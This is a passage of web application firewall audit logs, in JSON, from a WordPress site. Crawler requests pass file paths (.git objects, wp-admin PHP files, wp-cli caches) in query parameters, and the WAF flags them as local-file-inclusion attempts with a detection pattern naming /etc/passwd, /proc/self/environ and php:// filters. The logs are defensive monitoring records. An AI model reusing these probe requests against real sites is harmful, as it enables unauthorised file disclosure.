\"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":274,"p2":5442,"p3":0,"p4":0,"p5":380,"sr":136,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:42:33.099919 +0100","transaction_id":"abPcCDAlwUQdKK5mMvEZmwAABUI","remote_address":"57.141.20.16","remote_port":37952,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/usr/base/.wp-cli/cache-php-compat/plugins/wp-smushit/wp-smushit.3.8.8.json HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.16","X-Forwarded-Proto":"https","X-Request-Id":"e69a0660c65ca1298e07e58e2dc74a57","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"1151837"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"e69a0660c65ca1298e07e58e2dc74a57","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/.wp-cli/cache-php-compat/plugins/wp-smushit/wp-smushit.3.8.8.json||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":322,"p2":5772,"p3":0,"p4":0,"p5":385,"sr":152,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:46:56.014505 +0100","transaction_id":"abPdDzAlwUQdKK5mMvEbzQAABVI","remote_address":"57.141.20.52","remote_port":33390,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/usr/share/terminfo/n/ncr260vt300wpp HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.52","X-Forwarded-Proto":"https","X-Request-Id":"3b3041c3b32b08caa3c594678f429d17","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"15074298"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"3b3041c3b32b08caa3c594678f429d17","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/terminfo/n/ncr260vt300wpp||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":350,"p2":6091,"p3":0,"p4":0,"p5":262,"sr":141,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:49:08.082657 +0100","transaction_id":"abPdlCz4TK5nQvxwZbH3NAAABYQ","remote_address":"216.73.216.152","remote_port":36728,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?view=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fincludes%2Fclass-plugin-upgrader.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"63f02b3ba4a3ca86276942f2fba273f4","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"10687021"}},"response":{"protocol":"HTTP/1.1","status":406,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"63f02b3ba4a3ca86276942f2fba273f4","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 406 (phase 2). Pattern match \"/wp-admin/includes/.*\\\\.php\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"598\"] [id \"430034\"] [msg \"Malware.Expert - request_uri: Wordpress - prevent PHP files from executing\"] [tag \"MEWAF\"]"],"error_messages":["[file \"apache2_util.c\"] [line 286] [level 3] ModSecurity: Access denied with code 406 (phase 2). Pattern match \"/wp-admin/includes/.*\\\\\\\\\\\\\\\\.php\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"598\"] [id \"430034\"] [msg \"Malware.Expert - request_uri: Wordpress - prevent PHP files from executing\"] [tag \"MEWAF\"] [hostname \"ptso.jmkconsulting-ci.com\"] [uri \"/service/fresh-vegetables/\"] [unique_id \"abPdlCz4TK5nQvxwZbH3NAAABYQ\"]"],"action":{"intercepted":true,"phase":2,"message":"Pattern match \"/wp-admin/includes/.*\\\\.php\" at REQUEST_URI."},"stopwatch":{"p1":197,"p2":2987,"p3":0,"p4":0,"p5":324,"sr":162,"sw":111,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:49:10.389079 +0100","transaction_id":"abPdlqX5VSvifkvkn31NPAAABEY","remote_address":"216.73.216.152","remote_port":50004,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?edit=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fincludes%2Ftheme-install.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"bd5d8ad20f35d7e0ff891cadfc1b3091","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"7213177"}},"response":{"protocol":"HTTP/1.1","status":406,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"bd5d8ad20f35d7e0ff891cadfc1b3091","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 406 (phase 2). Pattern match \"/wp-admin/includes/.*\\\\.php\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"598\"] [id \"430034\"] [msg \"Malware.Expert - request_uri: Wordpress - prevent PHP files from executing\"] [tag \"MEWAF\"]"],"error_messages":["[file \"apache2_util.c\"] [line 286] [level 3] ModSecurity: Access denied with code 406 (phase 2). Pattern match \"/wp-admin/includes/.*\\\\\\\\\\\\\\\\.php\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"598\"] [id \"430034\"] [msg \"Malware.Expert - request_uri: Wordpress - prevent PHP files from executing\"] [tag \"MEWAF\"] [hostname \"ptso.jmkconsulting-ci.com\"] [uri \"/service/fresh-vegetables/\"] [unique_id \"abPdlqX5VSvifkvkn31NPAAABEY\"]"],"action":{"intercepted":true,"phase":2,"message":"Pattern match \"/wp-admin/includes/.*\\\\.php\" at REQUEST_URI."},"stopwatch":{"p1":314,"p2":4137,"p3":0,"p4":0,"p5":405,"sr":201,"sw":111,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:49:10.691276 +0100","transaction_id":"abPdlppZqvGhhppla87kzwAABQE","remote_address":"216.73.216.152","remote_port":43206,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fincludes%2Fclass-wp-internal-pointers.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"365d95b787a829854eedce5b207ae806","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"7213180"}},"response":{"protocol":"HTTP/1.1","status":406,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"365d95b787a829854eedce5b207ae806","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 406 (phase 2). Pattern match \"/wp-admin/includes/.*\\\\.php\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"598\"] [id \"430034\"] [msg \"Malware.Expert - request_uri: Wordpress - prevent PHP files from executing\"] [tag \"MEWAF\"]"],"error_messages":["[file \"apache2_util.c\"] [line 286] [level 3] ModSecurity: Access denied with code 406 (phase 2). Pattern match \"/wp-admin/includes/.*\\\\\\\\\\\\\\\\.php\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"598\"] [id \"430034\"] [msg \"Malware.Expert - request_uri: Wordpress - prevent PHP files from executing\"] [tag \"MEWAF\"] [hostname \"ptso.jmkconsulting-ci.com\"] [uri \"/service/fresh-vegetables/\"] [unique_id \"abPdlppZqvGhhppla87kzwAABQE\"]"],"action":{"intercepted":true,"phase":2,"message":"Pattern match \"/wp-admin/includes/.*\\\\.php\" at REQUEST_URI."},"stopwatch":{"p1":336,"p2":4867,"p3":0,"p4":0,"p5":423,"sr":219,"sw":111,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:49:10.993729 +0100","transaction_id":"abPdlqX5VSvifkvkn31NPgAABFg","remote_address":"216.73.216.152","remote_port":45252,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?view=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fincludes%2Fclass-wp-users-list-table.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"89882b8fa367da41ac4f183d65479775","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"10356775"}},"response":{"protocol":"HTTP/1.1","status":406,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"89882b8fa367da41ac4f183d65479775","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 406 (phase 2). Pattern match \"/wp-admin/includes/.*\\\\.php\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"598\"] [id \"430034\"] [msg \"Malware.Expert - request_uri: Wordpress - prevent PHP files from executing\"] [tag \"MEWAF\"]"],"error_messages":["[file \"apache2_util.c\"] [line 286] [level 3] ModSecurity: Access denied with code 406 (phase 2). Pattern match \"/wp-admin/includes/.*\\\\\\\\\\\\\\\\.php\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"598\"] [id \"430034\"] [msg \"Malware.Expert - request_uri: Wordpress - prevent PHP files from executing\"] [tag \"MEWAF\"] [hostname \"ptso.jmkconsulting-ci.com\"] [uri \"/service/fresh-vegetables/\"] [unique_id \"abPdlqX5VSvifkvkn31NPgAABFg\"]"],"action":{"intercepted":true,"phase":2,"message":"Pattern match \"/wp-admin/includes/.*\\\\.php\" at REQUEST_URI."},"stopwatch":{"p1":203,"p2":4859,"p3":0,"p4":0,"p5":462,"sr":194,"sw":99,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:53:10.480426 +0100","transaction_id":"abPehTAlwUQdKK5mMvEfQwAABUQ","remote_address":"57.141.20.52","remote_port":34274,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/d0/145808a7edb0d85f4d348b102dfd792da9da35 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.52","X-Forwarded-Proto":"https","X-Request-Id":"96f02424e878062e0d05a2ef002d46b3","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"9078436"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"96f02424e878062e0d05a2ef002d46b3","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/fresh-vegetables/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/d0/145808a7edb0d85f4d348b102dfd792da9da35||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":379,"p2":7865,"p3":0,"p4":0,"p5":409,"sr":187,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:55:18.944754 +0100","transaction_id":"abPfBppZqvGhhppla87nvgAABQw","remote_address":"57.141.20.28","remote_port":44612,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/b7/fdbbd91d49eda81ac96eed7d9010aef43a7d87 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.28","X-Forwarded-Proto":"https","X-Request-Id":"5425259186710f6f83e78719c3af6f65","X-L-Admin-Auth":"0","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7","upgrade-insecure-requests":"1","sec-ch-ua":"\"Chromium\";v=\"146\", \"Not-A.Brand\";v=\"24\", \"HeadlessChrome\";v=\"146\"","sec-ch-ua-mobile":"?0","sec-ch-ua-platform":"\"Windows\"","sec-fetch-site":"none","sec-fetch-mode":"navigate","sec-fetch-user":"?1","sec-fetch-dest":"document","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"8655910"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"5425259186710f6f83e78719c3af6f65","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/b7/fdbbd91d49eda81ac96eed7d9010aef43a7d87||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":435,"p2":7452,"p3":0,"p4":0,"p5":415,"sr":155,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:55:28.815984 +0100","transaction_id":"abPfEDAlwUQdKK5mMvEgcAAABUw","remote_address":"57.141.20.50","remote_port":37502,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/harvest/?rename=/usr/base/usr/share/locale/mn/LC_MESSAGES/aspell.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.50","X-Forwarded-Proto":"https","X-Request-Id":"0743ca22127b030ff938e0d74ef6261b","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"9146432"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2422>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"0743ca22127b030ff938e0d74ef6261b","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/mn/LC_MESSAGES/aspell.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":187,"p2":3726,"p3":0,"p4":0,"p5":593,"sr":99,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:55:35.414667 +0100","transaction_id":"abPfFuYOjdilPq3ZQbYlBQAABNg","remote_address":"57.141.20.13","remote_port":43232,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/usr/base/.wp-cli/cache-php-compat/plugins/woolentor-addons/woolentor-addons.3.2.9.json HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.13","X-Forwarded-Proto":"https","X-Request-Id":"f66e9584e7bd7cc71613d05545bba3e8","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"4954199"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"f66e9584e7bd7cc71613d05545bba3e8","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/.wp-cli/cache-php-compat/plugins/woolentor-addons/woolentor-addons.3.2.9.json||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":351,"p2":7206,"p3":0,"p4":0,"p5":434,"sr":183,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:57:53.042479 +0100","transaction_id":"abPfoLkYdDy6twR0PPTOowAABcY","remote_address":"57.141.20.49","remote_port":33652,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/usr/base/.wp-cli/cache-php-compat/themes/hueman/hueman.3.7.8.json HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.49","X-Forwarded-Proto":"https","X-Request-Id":"d5e3b51e7a012a86ec480d05272704da","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"1775894"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"d5e3b51e7a012a86ec480d05272704da","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/.wp-cli/cache-php-compat/themes/hueman/hueman.3.7.8.json||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":386,"p2":7583,"p3":0,"p4":0,"p5":352,"sr":148,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:59:00.384146 +0100","transaction_id":"abPf4yz4TK5nQvxwZbH8HQAABYg","remote_address":"57.141.20.49","remote_port":52670,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/e7/230a0665372b5c3014f3e231a0dd01d69f64ef HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.49","X-Forwarded-Proto":"https","X-Request-Id":"c65653cee7e5797fe6bf608a7fb42982","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"13732184"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; 